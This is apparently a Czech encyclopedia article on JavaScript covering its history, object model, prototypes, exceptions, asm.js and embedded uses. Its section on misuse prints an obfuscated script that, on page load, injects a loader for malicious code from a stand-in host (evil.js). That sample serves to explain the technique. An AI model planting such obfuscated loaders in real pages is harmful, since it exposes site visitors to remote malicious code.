JavaScript
JavaScript je multiplatformní, objektově orientovaný, událostmi řízený skriptovací jazyk, jehož autorem je Brendan Eich z někdejší společnosti Netscape. Jeho syntaxe (zápis zdrojového textu) patří do rodiny jazyků C/C++/Java, ale JavaScript je od těchto jazyků zásadně odlišný sémanticky (funkčně, principiálně), jde o jiný jazyk. Slovo Java je součástí jeho názvu pouze z marketingových důvodů. JavaScript byl v červenci 1997 standardizován asociací ECMA (European Computer Manufacturers Association) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována ECMAScript a z ní byly odvozeny i další implementace, jako je například ActionScript. JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností Sun Microsystems v prosinci 1995 jako doplněk k jazykům HTML a Java. Pro verzi firmy Microsoft je použit název JScript. Ten je podporován platformou .NET.
Paradigma | objektový, funkcionální, událostmi řízený |
---|---|
Vznikl v | 1995 |
Autor | Brendan Eich |
Vývojář | Netscape Communications Corporation, Mozilla Foundation |
Poslední verze | ECMAScript 2018[1] (červen 2018) |
Typová kontrola | dynamická, duck-typing |
Hlavní implementace | KJS, Rhino, SpiderMonkey, V8, Chakra |
Ovlivněn jazyky | Java, Self, C, Scheme |
Ovlivnil jazyky | ActionScript, CoffeeScript, Dart, JScript .NET, Objective-J, QML, TypeScript, Node.js, LiveScript |
Nejčastější použití JavaScriptu v současnosti zahrnují:
- Webové stránky, do kterých je často vkládaný přímo jako součást HTML kódu stránky. Interpretaci v tomto případě provádí webový prohlížeč návštěvníka stránky. Jsou jím obvykle ovládány různé interaktivní prvky GUI (tlačítka, textová políčka) nebo tvořeny animace a efekty obrázků. Prakticky to znamená, že se program v JavaScriptu obvykle spouští až po stažení webové stránky z Internetu (tzv. na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. PHP a ASP), které se spouštějí na straně serveru ještě před stažením z Internetu. Z toho plynou jistá bezpečností omezení – v prohlížeči spouštěný JavaScript např. nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.
- JavaScript se využívá i na straně serveru. První implementací JavaScriptu na straně serveru byl LiveWire firmy Netscape vydaný roku 1996. Dnes existuje několik možností včetně opensource implementace Rhinola založené na Rhino, gcj, Node.js, Deno a Apache. Událostmi řízená architektura je dělá vhodnými pro tvorbu serverových aplikací, které pracují v reálném čase.
- Také je možno jej spouštět v operačních systémech Windows pomocí programu Windows Script Host a nahradit tak dávkové soubory MS-DOS. Manipulaci se soubory lze například provádět za pomoci objektu FileSystemObject, který se používá i na výše zmíněných serverech.
- Kromě DHTML se JavaScript používá k psaní rozšíření pro mnohé aplikace, například Adobe Acrobat.
Rysy objektově orientovaného programování
Dynamické přiřazení typů (Dynamic typing)
Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript pochopitelně podporuje řadu způsobů, jak typ objektu otestovat.
Objekty jako asociativní pole (objects as associative fields)
JavaScript je převážně objektově založený. Objekty jsou asociativními poli, rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole: obj.x = 10 a obj["x"] = 10 jsou tedy ekvivalentními výrazy, první varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for … in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.
Runtime evaluation (= míra možných akcí proveditelných za běhu programu)
Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.
Funkce první třídy (first-class functions)
Označení funkce první třídy vyjadřuje, že funkce jsou samy o sobě také objekty. Jako takové, mají tedy své atributy a mohou být předány dále, anebo s nimi lze manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).
Anonymní (vnitřní) funkce a uzávěry (closures)
Vnitřní funkce (neboli funkce definované uvnitř jiných (vnějších) funkcí) jsou vytvořeny při každém zavolání funkce nadřazené, a proměnné funkcí vnějších existují po dobu existence funkce vnitřní, dokonce i po ukončení zavolání (tedy i po navrácení této vnitřní funkce, má daná funkce stále přístup k proměnným své funkce vnější) – toto je mechanismus v JavaScriptu nazývaný jako closures – uzávěry.
Prototypy (Prototypes)
Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností třídově založených (class-based) mechanismů, například dědičnost, která je u JavaScriptu nazývána právě jako dědičnost prototypová, která je vysvětlena na příkladu níže.
Funkce jako konstruktory objektů (Functions as constructors)
Funkce tedy mají v JavaScriptu kromě své běžné role význam jako konstruktory objektů. Voláním konstruktoru pomocí operátoru new se pak vytvoří nový objekt (instance). Vlastnost objektu se deklaruje přes klíčové slovo this. Přímo při vytváření objektu lze tedy přejímáním parametrů volaného konstruktoru inicializovat jednotlivé proměnné. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu. Příklad konstruktoru třídy Auto:
// Definice konstruktoru
function Auto(znacka, spz) {
this.znacka = znacka;
this.spz = spz;
this.vypisZnacku = function () {
alert(this.znacka);
};
}
// Vytvoření nového auta
var mojeAuto = new Auto("mercedes", "3A4983");
// Zavolání metody
mojeAuto.vypisZnacku();
Funkce jako metody (Functions as methods)
Na rozdíl od většiny objektově orientovaných jazyků, u JavaScriptu nerozlišuje mezi definicí metody a definicí funkce. Znatelný rozdíl však vyvstane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem this.
Dědičnost (Inheritance)
Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o klasickou dědičnost známou z typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a s tím spojenou hierarchii tříd, proto lze hovořit spíše o jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i k funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a metody obsažené právě v prototypu daného konstruktoru.
Podíváte-li se zpět na zápis konstruktoru auto, v objektu je vložená také metoda vypisZnacku(). Technicky má v paměti každá instance této „třídy“ lokální kopii této metody, což je přinejmenším z hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript hledá metodu nejprve v příslušném objektu, pakliže ji nenajde, jde o úroveň výše – do prototypu konstruktoru. Samozřejmě je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance. To znamená především metody a konstanty. Jak by vypadal upravený zápis předchozího příkladu můžete vidět níže:
// Definice konstruktoru
function Auto(znacka, spz) {
this.znacka = znacka;
this.spz = spz;
}
Auto.prototype.vypisZnacku = function () {
alert(this.znacka);
};
Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru planeta jako prototyp objekt VesmirnyObjekt:
function VesmirnyObjekt(soustava) {
this.soustava = soustava || "Sluneční";
}
function Planeta(soustava, jmeno, pocetMesicu) {
this.parent(soustava); // Zde zavoláme konstruktor rodiče a předáme mu soustavu
this.jmeno = jmeno;
this.pocetMesicu = pocetMesicu || 0;
}
// Podporováno od ES 5, tuto funkci je možné dodefinovat (ukázka např. na MDN):
Planeta.prototype = Object.create(VesmirnyObjekt.prototype);
// Je dobrým zvykem, aby vlastnost constructor odkazovala na správnou funkci (Object.create tuto vlastnost přepsala):
Planeta.prototype.constructor = Planeta;
// A nakonec přiřadíme do prototypu odkaz na rodiče:
Planeta.prototype.parent = VesmirnyObjekt;
// Vytvoříme novou instanci planety:
var planeta = new Planeta("Alfa Centauri", "Terra Nova", 2);
alert("Soustava: " + planeta.soustava
+ ", planeta: " + planeta.jmeno
+ ", počet měsíců: " + planeta.pocetMesicu);
Výjimky (Exceptions)
Rysem společným s objektově orientovanými jazyky jsou také výjimky. Jedná se o mechanismus zachytávání stavů vyvolaných chybným kódem, například přístupem k neexistující metodě. Tyto chyby lze zachytávat pomocí klíčových slov try, catch a volitelně finally. Na rozdíl od jiných jazyků však výjimka může být jakéhokoli typu, tzn. můžeme vyvolat jako výjimku i řetězec nebo číslo:
function Person(name) {
if (!name) {
throw "You have to define the person's name!";
}
this.name = name;
}
try {
var person = new Person();
}
catch (ex) {
alert(typeof ex); // Bude string
alert(ex); // Vypíše obsah hlášky
}
Je však dobrým zvykem vyvolávat výjimky s typem Error či podobnými.
Rozšíření asm.js
Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou[2], která je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. Rychlost v současné době dosahuje na hodnoty jen asi o 50 % nižší, než kód generovaný překladači[3], zejména původně napsaných pro hry z oblasti PC[4], typicky napsané v jazyce C nebo C++.
Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době, Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.[5][6][7][8]
Podpora JavaScriptu ve webových prohlížečích
Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.
Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA.[9]
V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.
Zneužívání JavaScriptu
Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.[10]
Co se týká druhé možnosti, např. kód:
<script>
try{window.onload = function() {
var Q236s4ic4454clw = document.createElement('script');
Q236s4ic4454clw.setAttribute('type', 'text/javascript');
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***);
// místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy
Q236s4ic4454clw.setAttribute('defer', 'defer');
document.body.appendChild(Q236s4ic4454clw);
}
catch(e) {}
</script>
vygeneruje HTML kód:
<script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>
který vlastní škodlivý kód načte z vnější adresy mimo napadený server.[10]
Použití mimo webové stránky
Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.
Vestavěný scriptovací jazyk
- Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
- Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
- Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
- Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
- Kancelářský balík aplikací OpenOffice a LibreOffice umožňuje JavaScript používat jako skriptovací jazyk.
- Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
- Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
- ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
- Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.[11]
- DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.[12]
- Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.[13]
- Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.[14]
- Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
- Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
- Platformy ObjectGears, ServiceNow
Skriptovací engine
- Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.[15]
- Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.[16]
- Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.[17]
Vývojové nástroje
Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.[18]
Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.[19][20][21]
Odkazy
Reference
- Standard ECMA-262 [online]. Ecma International, 2017-07-03. Dostupné online. (anglicky)
- http://asmjs.org/ Homepage (anglicky)
- JELÍNEK, Lukáš. Asm.js zrychluje. www.linuxexpres.cz [online]. linuxexpres.cz, 2013-12-23 [cit. 2018-05-18]. Dostupné online.
- URBAN, Petr. Epic Games ve spolupráci s Mozillou v prohlížeči zprovoznil Unreal Engine 4. Cnews.cz [online]. 2014-03-13 [cit. 2018-05-18]. Dostupné online.
- mbest. Chrome and Opera Optimize for Mozilla-Pioneered Asm.js. Future Releases [online]. [cit. 2018-05-18]. Dostupné online. (anglicky)
- http://www.linuxexpres.cz/novinky/asm-js-zrychluje Asm.js zrychluje (česky)
- Microsoft announces asm.js optimizations. Luke Wagner's Blog [online]. Mozilla Firefox, 2015-02-18 [cit. 2018-05-18]. Dostupné online. (anglicky)
- PFLUG, Kyle. Introducing EdgeHTML 13, our first platform update for Microsoft Edge. Microsoft Windows [online]. 2015-11-16 [cit. 2018-05-18]. Dostupné online. (anglicky)
- HEIN, Ruud. How Many Users Have JavaScript Disabled. www.searchenginepeople.com [online]. searchenginepeople.com, 2010-12-14 [cit. 2018-05-18]. Dostupné online. (anglicky)
- From Hidden Iframes to Obfuscated Scripts. Unmask Parasites [online]. 23 Dec 09. Dostupné v archivu pořízeném z originálu dne 2014-09-16.
- Unity Scripting [online]. unity3d.com [cit. 2013-01-29]. Dostupné v archivu pořízeném dne 2015-02-28.
- Technical Specification [online]. dxstudio.com [cit. 2009-10-20]. Dostupné v archivu pořízeném dne 2010-03-25.
- THINK! The Maxwell Render Resourcer Center, Scripting References Archivováno 2. 11. 2011 na Wayback Machine
- Google Apps Script, Welcome to Google Apps Script
- Version Information (JavaScript) [online]. Msdn.microsoft.com [cit. 2013-05-26]. Dostupné online.
- javax.script release notes [online]. Java.sun.com [cit. 2009-05-19]. Dostupné online.
- Nokia Corporation, QtScript Module Archivováno 9. 7. 2010 na Wayback Machine
- Advanced Debugging With JavaScript [online]. alistapart.com, 2009-02-03 [cit. 2010-05-28]. Dostupné online.
- The JavaScript Debugging Console [online]. javascript.about.com, 2010-05-28 [cit. 2010-05-28]. Dostupné online.
- SplineTech JavaScript Debugger - an independent standalone JavaScript Debugger [online]. javascript-debugger.com, 2013-08-26 [cit. 2013-08-26]. Dostupné online.
- Debugging with Node Inspector [online]. http://docs.strongloop.com/ [cit. 2014-05-07]. Dostupné v archivu pořízeném dne 2014-05-08.
Související články
- AJAX – pro komunikaci iniciovanou klientem (webovou stránkou)
- WebSocket – pro obousměrnou komunikaci webové stránky se serverem (klient–server)
- jQuery UI
- JQuery Mobile
Externí odkazy
- Obrázky, zvuky či videa k tématu JavaScript na Wikimedia Commons
- (anglicky) JavaScript: How Did We Get Here? – Historie vzniku jazyka
- Do hlubin implementací JavaScriptu – Seriál na Zdrojak.cz
- JakPsatWeb
- w3schools.com